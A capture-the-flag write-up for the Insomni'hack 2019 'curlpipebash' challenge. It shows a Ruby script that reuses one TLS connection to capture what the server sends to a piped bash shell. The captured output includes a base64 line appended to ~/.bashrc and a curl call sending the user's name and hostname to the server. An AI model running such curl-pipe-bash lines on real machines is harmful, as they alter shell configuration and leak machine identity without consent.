# curlpipebash
## The task:
Execute this Bash command to print the flag :)
`curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash`
## solutionLets execute first part of the command:```$ curl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.shcurl -Ns https://curlpipebash.teaser.insomnihack.ch/03b2ae8c-ed33-48c8-ade9-c62f750e068c | bash```
It returns another curl command. But execution of second curl command returns first:```$ curl -Ns https://curlpipebash.teaser.insomnihack.ch/03b2ae8c-ed33-48c8-ade9-c62f750e068ccurl -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.sh | bash```
Okay. Let's execute first one and look at HTTP headers:```$ curl -D - -Ns https://curlpipebash.teaser.insomnihack.ch/print-flag.shHTTP/1.1 200 OKX-Powered-By: ExpressDate: Sat, 26 Jan 2019 14:37:10 GMTConnection: keep-aliveTransfer-Encoding: chunked
curl -Ns https://curlpipebash.teaser.insomnihack.ch/59f467b5-1b38-46c9-9237-64ea4a77488d | bash```
`Transfer-Encoding: chunked `, piping to bash another curl command and token hint us to use the same connection.
Tried to use `openssl s_client -connect ...` but it was disconnecting before second request has sent. Perhaps I have two left hands.
Ruby solution:
```require 'socket'require 'openssl'
tcp_client = TCPSocket.new 'curlpipebash.teaser.insomnihack.ch', 443context = OpenSSL::SSL::SSLContext.newssl_client = OpenSSL::SSL::SSLSocket.new tcp_client, context
ssl_client.connecturl = "GET /print-flag.sh HTTP/1.1\nHost: curlpipebash.teaser.insomnihack.ch\n\n"puts "url 1: " + urlssl_client.puts urlputs "answer 1: "puts ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsstr = ssl_client.getsputs str
token = str.scan(/\w+-\w+-\w+-\w+-\w+/)puts "token: " + token.first
url = "GET /#{token.first} HTTP/1.1\nUser-Agent: curl/7.47.0\nAccept: */*\nHost: curlpipebash.teaser.insomnihack.ch\n\n"puts "url 2: " + urlssl_client.puts urlputs "answer 2: "puts ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.gets
url = "GET /#{token.first}/add-to-wall-of-fame/aaa%40bbb HTTP/1.1\nUser-Agent: curl/7.47.0\nAccept: */*\nHost: curlpipebash.teaser.insomnihack.ch\n\n"
puts "url 3: " + urlssl_client.puts urlputs "answer 3: "puts ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.getsputs ssl_client.gets```
output:```$ ruby /tmp/curlbash.rburl 1: GET /print-flag.sh HTTP/1.1Host: curlpipebash.teaser.insomnihack.ch
answer 1:HTTP/1.1 200 OKX-Powered-By: ExpressDate: Sat, 26 Jan 2019 14:47:45 GMTConnection: keep-aliveTransfer-Encoding: chunked
60curl -Ns https://curlpipebash.teaser.insomnihack.ch/a101be68-3a9b-4d39-b2ba-e9b530bc9b90 | bashtoken: a101be68-3a9b-4d39-b2ba-e9b530bc9b90url 2: GET /a101be68-3a9b-4d39-b2ba-e9b530bc9b90 HTTP/1.1User-Agent: curl/7.47.0Accept: */*Host: curlpipebash.teaser.insomnihack.ch
answer 2:
81base64  -d >> ~/.bashrc <<< ZXhwb3J0IFBST01QVF9DT01NQU5EPSdlY2hvIFRIQU5LIFlPVSBGT1IgUExBWUlORyBJTlNPTU5JSEFDSyBURUFTRVIgMjAxOScK
86curl -Ns https://curlpipebash.teaser.insomnihack.ch/a101be68-3a9b-4d39-b2ba-e9b530bc9b90/add-to-wall-of-shame/$(whoami)%40$(hostname)url 3: GET /a101be68-3a9b-4d39-b2ba-e9b530bc9b90/add-to-wall-of-fame/aaa%40bbb HTTP/1.1User-Agent: curl/7.47.0Accept: */*Host: curlpipebash.teaser.insomnihack.ch
answer 3:
21INS{Miss me with that fishy pipe}0
HTTP/1.1 200 OK```